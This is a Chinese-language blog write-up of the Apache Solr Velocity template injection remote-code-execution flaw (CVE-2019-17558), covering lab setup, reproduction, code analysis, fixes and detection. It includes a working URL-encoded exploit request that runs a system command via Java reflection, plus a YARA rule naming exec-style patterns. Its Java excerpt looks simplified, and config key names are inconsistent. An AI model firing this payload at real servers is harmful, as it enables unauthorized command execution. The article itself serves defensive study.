Apache Solr velocity模板注入RCE漏洞的示例分析

发布时间:2022-01-18 16:03:15 作者:柒染
来源:亿速云 阅读:314
# Apache Solr Velocity模板注入RCE漏洞示例分析

## 漏洞背景

Apache Solr是一个基于Lucene构建的高性能开源搜索平台,广泛应用于企业级搜索场景。2019年10月,安全研究人员披露了Solr的一个严重安全漏洞(CVE-2019-17558),该漏洞允许攻击者通过Velocity响应编写器(VelocityResponseWriter)的模板注入功能实现远程代码执行(RCE)。

## 漏洞原理

### Velocity模板引擎简介
Velocity是Apache旗下的模板引擎,允许开发者通过模板语言动态生成内容。Solr通过`VelocityResponseWriter`组件支持Velocity模板渲染功能。

### 漏洞触发条件
当同时满足以下条件时漏洞存在:
1. Solr配置启用了`VelocityResponseWriter`
2. 攻击者能够控制模板参数(特别是`v.template`和`v.template.xxx`参数)
3. Solr版本在受影响范围内(5.0.0至8.3.1)

### 核心问题
Velocity模板中允许执行Java代码,而Solr未对用户输入的模板内容进行严格过滤,导致攻击者可以注入恶意模板代码。

## 环境搭建

### 实验环境
- 操作系统:Ubuntu 20.04
- Java版本:OpenJDK 1.8.0_312
- Solr版本:8.2.0(漏洞版本)

```bash
# 下载Solr 8.2.0
wget https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.tgz
tar xzf solr-8.2.0.tgz
cd solr-8.2.0

# 启动Solr(以单机模式运行)
bin/solr start -c -force

漏洞复现步骤

1. 创建测试集合

bin/solr create -c test_core -force

2. 验证VelocityResponseWriter可用性

访问以下URL确认Velocity功能正常:

http://localhost:8983/solr/test_core/select?q=test&wt=velocity

3. 构造恶意请求

通过注入Velocity模板执行系统命令:

GET /solr/test_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

4. 执行结果分析

响应中将包含id命令的执行结果,例如:

uid=1000(solr) gid=1000(solr) groups=1000(solr)

漏洞代码分析

关键类分析

org.apache.solr.response.VelocityResponseWriter类负责处理Velocity模板渲染:

public class VelocityResponseWriter implements QueryResponseWriter {
    public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) {
        // ...
        String template = request.getParams().get("v.template");
        // 未对模板内容进行安全过滤
        velocityEngine.evaluate(context, writer, templateName, templateContent);
    }
}

攻击链分析

  1. 攻击者通过v.template参数控制模板内容
  2. Velocity引擎解析模板时执行恶意Java代码
  3. 通过反射机制获取Runtime实例
  4. 最终执行任意系统命令

修复方案

官方修复

Apache Solr在8.4.0版本中通过以下方式修复: 1. 默认禁用Velocity模板渲染 2. 增加params.resource.loader.enabled配置项 3. 限制模板文件必须位于指定目录

临时缓解措施

  1. 在solrconfig.xml中禁用VelocityResponseWriter:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
    <bool name="solr.resource.loader.enabled">false</bool>
</queryResponseWriter>
  1. 配置网络ACL限制Solr管理接口的访问

漏洞利用的防御检测

防御方案

  1. 升级到Solr 8.4.0或更高版本
  2. 实施最小权限原则,Solr进程使用低权限用户运行
  3. 启用Solr的安全认证机制

检测方法

  1. 监控Solr日志中的可疑Velocity参数
  2. 使用以下YARA规则检测攻击流量:
rule solr_velocity_rce {
    strings:
        $pattern = /v\.template.*(runtime|exec|processbuilder)/i
    condition:
        $pattern
}

漏洞的深远影响

  1. 数据泄露风险:攻击者可读取服务器上的任意文件
  2. 系统沦陷:可能导致整个服务器被控制
  3. 横向移动:在内网环境中可能成为渗透跳板
  4. 合规性问题:可能违反GDPR等数据保护法规

总结

本文详细分析了Apache Solr Velocity模板注入RCE漏洞的成因、利用方式和防御方案。该漏洞再次提醒我们: - 模板引擎的安全配置至关重要 - 用户输入必须经过严格验证 - 及时更新组件是安全运维的基本要求

安全研究人员建议所有Solr用户立即检查是否启用VelocityResponseWriter,并按照官方指南进行安全配置。

参考资源

  1. CVE-2019-17558官方公告
  2. Apache Solr安全指南
  3. Velocity模板语言参考

”`

注:本文为技术研究用途,实际测试请确保获得系统所有者授权,遵守相关法律法规。

推荐阅读:
  1. apache网站漏洞修复的解决办法是什么
  2. 如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

solr velocity

上一篇:怎么使用Apache Pulsar Functions进行简单事件处理

下一篇:如何进行Apache Solr JMX服务RCE漏洞复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》